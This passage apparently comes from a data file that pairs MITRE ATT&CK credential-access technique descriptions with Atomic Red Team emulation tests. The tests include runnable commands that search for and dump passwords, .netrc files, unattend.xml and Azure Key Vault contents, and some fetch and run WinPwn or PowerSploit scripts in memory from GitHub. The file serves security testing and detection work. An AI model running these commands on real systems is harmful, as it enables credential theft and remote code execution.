Source](https://github.com/AlessandroZ/LaZagne)\n" supported_platforms: - macos executor: command: 'python2 laZagne.py all ' elevation_required: true name: bash - name: Extract passwords with grep auto_generated_guid: bd4cf0d1-7646-474e-8610-78ccf5a097c4 description: 'Extracting credentials from files ' supported_platforms: - linux - macos input_arguments: file_path: description: Path to search type: string default: "/" executor: command: | grep -ri password #{file_path} exit 0 name: sh - name: Extracting passwords with findstr auto_generated_guid: 0e56bf29-ff49-4ea5-9af4-3b81283fd513 description: 'Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed. ' supported_platforms: - windows executor: command: | findstr /si pass *.xml *.doc *.txt *.xls ls -R | select-string -ErrorAction SilentlyContinue -Pattern password name: powershell - name: Access unattend.xml auto_generated_guid: 367d4004-5fc0-446d-823f-960c74ae52c3 description: | Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process. supported_platforms: - windows executor: command: | type C:\Windows\Panther\unattend.xml type C:\Windows\Panther\Unattend\unattend.xml name: command_prompt elevation_required: true - name: Find and Access Github Credentials auto_generated_guid: da4f751a-020b-40d7-b9ff-d433b7799803 description: 'This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found. ' supported_platforms: - linux - macos input_arguments: file_path: description: Path to search type: string default: "/home" executor: name: bash elevation_required: false command: 'for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done ' - name: WinPwn - sensitivefiles auto_generated_guid: 114dd4e3-8d1c-4ea7-bb8d-8d8f6aca21f0 description: Search for sensitive files on this local system using the SensitiveFiles function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') sensitivefiles -noninteractive -consoleoutput name: powershell - name: WinPwn - Snaffler auto_generated_guid: fdd0c913-714b-4c13-b40f-1824d6c015f2 description: Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Snaffler -noninteractive -consoleoutput name: powershell - name: WinPwn - powershellsensitive auto_generated_guid: 75f66e03-37d3-4704-9520-3210efbe33ce description: Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function. supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') powershellsensitive -consoleoutput -noninteractive name: powershell - name: WinPwn - passhunt auto_generated_guid: 00e3e3c7-6c3c-455e-bd4b-461c7f0e7797 description: Search for Passwords on this system using passhunt via WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') passhunt -local $true -noninteractive cleanup_command: |- rm -force .\passhunt.exe -ErrorAction Ignore rm -force .\phunter* -ErrorAction Ignore rm -force -recurse .\DomainRecon -ErrorAction Ignore rm -force -recurse .\Exploitation -ErrorAction Ignore rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore rm -force -recurse .\LocalRecon -ErrorAction Ignore rm -force -recurse .\Vulnerabilities -ErrorAction Ignore name: powershell - name: WinPwn - SessionGopher auto_generated_guid: c9dc9de3-f961-4284-bd2d-f959c9f9fda5 description: Launches SessionGopher on this system via WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') sessionGopher -noninteractive -consoleoutput name: powershell - name: WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials auto_generated_guid: aaa87b0e-5232-4649-ae5c-f1724a4b2798 description: Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn supported_platforms: - windows executor: command: "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nSharpCloud -consoleoutput -noninteractive " name: powershell - name: List Credential Files via PowerShell auto_generated_guid: 0d4f2281-f720-4572-adc8-d5bb1618affe description: 'Via PowerShell,list files where credentials are stored in Windows Credential Manager ' supported_platforms: - windows executor: command: | $usernameinfo = (Get-ChildItem Env:USERNAME).Value Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\ name: powershell elevation_required: true - name: List Credential Files via Command Prompt auto_generated_guid: b0cdacf6-8949-4ffe-9274-a9643a788e55 description: 'Via Command Prompt,list files where credentials are stored in Windows Credential Manager ' supported_platforms: - windows executor: command: | dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\ dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\ name: command_prompt elevation_required: true T1606.001: technique: modified: '2023-09-19T21:25:10.511Z' name: Web Cookies description: |- Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. Adversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values. Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Jack Burns, HubSpot x_mitre_deprecated: false x_mitre_detection: Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - SaaS - IaaS x_mitre_version: '1.1' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Web Credential: Web Credential Usage' type: attack-pattern id: attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a created: '2020-12-17T02:14:34.178Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1606/001 external_id: T1606.001 - source_name: Volexity SolarWinds description: Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020. url: https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ - source_name: Unit 42 Mac Crypto Cookies January 2019 description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ - source_name: Pass The Cookie description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019. url: https://wunderwuzzi23.github.io/blog/passthecookie.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1528: technique: modified: '2024-03-24T19:41:54.832Z' name: Steal Application Access Token description: "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nFor example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts) Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.(Citation: Cider Security Top 10 CICD Security Risks) If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges.\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user. \n\n" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Suzy Schapperle - Microsoft Azure Red Team - Shailesh Tiwary (Indian Army) - Mark Wee - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services) - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC) - Ram Pliskin, Microsoft Azure Security Center - Jack Burns, HubSpot x_mitre_deprecated: false x_mitre_detection: |- Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users. Security analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app’s purpose, or apps with old “Last authorized” fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - SaaS - Office 365 - Azure AD - Google Workspace - Containers x_mitre_version: '1.3' x_mitre_data_sources: - 'Active Directory: Active Directory Object Modification' - 'User Account: User Account Modification' type: attack-pattern id: attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a created: '2019-09-04T15:54:25.684Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1528 external_id: T1528 - source_name: Amnesty OAuth Phishing Attacks, August 2019 description: Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019. url: https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/ - source_name: Auth0 Understanding Refresh Tokens description: Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved December 16, 2021. url: https://auth0.com/learn/refresh-tokens/ - source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019 description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019. url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ - source_name: Cider Security Top 10 CICD Security Risks description: Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved March 24, 2024. url: https://www.cidersecurity.io/top-10-cicd-security-risks/ - source_name: Trend Micro Pawn Storm OAuth 2017 description: Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019. url: https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks - source_name: Kubernetes Service Accounts description: Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022. url: https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/ - source_name: Microsoft - Azure AD Identity Tokens - Aug 2019 description: Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019. url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens - source_name: Microsoft - Azure AD App Registration - May 2019 description: 'Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.' url: https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app - source_name: Microsoft - OAuth Code Authorization flow - June 2019 description: Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019. url: https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow - source_name: Microsoft Identity Platform Protocols May 2019 description: Microsoft. (n.d.). Retrieved September 12, 2019. url: https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1528 atomic_tests: - name: Azure - Dump All Azure Key Vaults with Microburst auto_generated_guid: 1b83cddb-eaa7-45aa-98a5-85fb0a8807ea description: |- Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file. See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/ supported_platforms: - iaas:azure input_arguments: username: description: Azure AD username type: string default: password: description: Azure AD password type: string default: T1082Az output_file: description: File to dump results to type: string default: "$env:temp\\T1528Test1.txt" subscription_id: description: Azure subscription id to search type: string default: dependency_executor_name: powershell dependencies: - description: 'The Get-AzurePasswords script must exist in PathToAtomicsFolder\..\ExternalPayloads. ' prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"){exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/AzureRM/Get-AzurePasswords.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1" - description: 'The Azure RM module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name AzureRM -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name AzureRM -Force -allowclobber ' - description: 'The Azure module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name Azure -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name Azure -Force -allowclobber ' executor: command: | import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1" $Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password Connect-AzureRmAccount -Credential $Credential Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file} cat #{output_file} cleanup_command: 'remove-item #{output_file} -force -erroraction silentlycontinue ' name: powershell elevation_required: true T1552.006: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e type: attack-pattern created: '2020-02-11T18:43:06.253Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1552.006 url: https://attack.mitre.org/techniques/T1552/006 - source_name: Microsoft GPP 2016 url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11) description: Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020. - url: https://msdn.microsoft.com/library/cc422924.aspx description: Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018. source_name: Microsoft GPP Key - url: https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html description: Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018. source_name: Obscuresecurity Get-GPPPassword - description: Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020. url: https://adsecurity.org/?p=2288 source_name: ADSecurity Finding Passwords in SYSVOL modified: '2021-04-29T14:49:39.188Z' name: 'Unsecured Credentials: Group Policy Preferences' description: | Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016) These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key) The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files: * Metasploit’s post exploitation module: post/windows/gather/credentials/gpp * Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword) * gpprefdecrypt.py On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: "Monitor for attempts to access SYSVOL that involve searching for XML files. \n\nDeploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)" x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Access' - 'Command: Command Execution' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1552.006 atomic_tests: - name: GPP Passwords (findstr) auto_generated_guid: 870fe8fb-5e23-4f5f-b89d-dd7fe26f3b5f description: 'Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt on Kali Linux. ' supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Computer must be domain joined ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually ' executor: command: 'findstr /S cpassword %logonserver%\sysvol\*.xml ' name: command_prompt - name: GPP Passwords (Get-GPPPassword) auto_generated_guid: e9584f82-322c-474a-b831-940fd8b4455c description: | Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This test is intended to be run from a domain joined workstation, not on the Domain Controller itself. The Get-GPPPasswords.ps1 executed during this test can be obtained using the get-prereq_commands. Successful test execution will either display the credentials found in the GPP files or indicate "No preference files found". supported_platforms: - windows input_arguments: gpp_script_url: description: URL of the Get-GPPPassword PowerShell Script type: url default: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/87630cac639f29c2adcb163f661f02890adf4bdd/Exfiltration/Get-GPPPassword.ps1 gpp_script_path: description: Path to the Get-GPPPassword PowerShell Script type: path default: PathToAtomicsFolder\..\ExternalPayloads\Get-GPPPassword.ps1 dependency_executor_name: powershell dependencies: - description: 'Get-GPPPassword PowerShell Script must exist at #{gpp_script_path} ' prereq_command: 'if(Test-Path "#{gpp_script_path}") {exit 0 } else {exit 1 } ' get_prereq_command: | New-Item -ItemType Directory (Split-Path "#{gpp_script_path}") -Force | Out-Null Invoke-WebRequest #{gpp_script_url} -OutFile "#{gpp_script_path}" - description: 'Computer must be domain joined ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually ' executor: command: | . "#{gpp_script_path}" Get-GPPPassword -Verbose name: powershell T1556.008: technique: modified: '2023-10-31T14:00:00.188Z' name: Network Provider DLL description: "Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - CrowdStrike Falcon OverWatch - Jai Minton x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Process: OS API Execution' - 'File: File Creation' type: attack-pattern id: attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04 created: '2023-03-30T22:45:00.431Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556/008 external_id: T1556.008 - source_name: NPPSPY - Huntress description: " Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved March 30, 2023." url: https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy - source_name: NPPSPY Video description: Grzegorz Tworek. (2021, December 14). How winlogon.exe shares the cleartext password with custom DLLs. Retrieved March 30, 2023. url: https://www.youtube.com/watch?v=ggY3srD9dYs - source_name: NPPSPY description: Grzegorz Tworek. (2021, December 15). NPPSpy. Retrieved March 30, 2023. url: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy - source_name: Network Provider API description: Microsoft. (2021, January 7). Network Provider API. Retrieved March 30, 2023. url: https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api - source_name: NPLogonNotify description: Microsoft. (2021, October 21). NPLogonNotify function (npapi.h). Retrieved March 30, 2023. url: https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1606: technique: modified: '2023-10-15T11:10:03.428Z' name: Forge Web Credentials description: "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nThe generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Dylan Silva, AWS Security x_mitre_deprecated: false x_mitre_detection: Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - SaaS - Windows - macOS - Linux - Azure AD - Office 365 - Google Workspace - IaaS x_mitre_version: '1.4' x_mitre_data_sources: - 'Web Credential: Web Credential Usage' - 'Web Credential: Web Credential Creation' - 'Logon Session: Logon Session Creation' type: attack-pattern id: attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c created: '2020-12-17T02:13:46.247Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1606 external_id: T1606 - source_name: AWS Temporary Security Credentials description: AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html - source_name: Unit 42 Mac Crypto Cookies January 2019 description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ - source_name: GitHub AWS-ADFS-Credential-Generator description: Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020. url: https://github.com/damianh/aws-adfs-credential-generator - source_name: Microsoft SolarWinds Customer Guidance description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020. url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ - source_name: Pass The Cookie description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019. url: https://wunderwuzzi23.github.io/blog/passthecookie.html - source_name: Zimbra Preauth description: Zimbra. (2023, March 16). Preauth. Retrieved May 31, 2023. url: https://wiki.zimbra.com/wiki/Preauth object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1621: technique: modified: '2024-04-19T04:26:29.365Z' name: Multi-Factor Authentication Request Generation description: |- Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users. Adversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).(Citation: Obsidian SSPR Abuse 2023) In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - 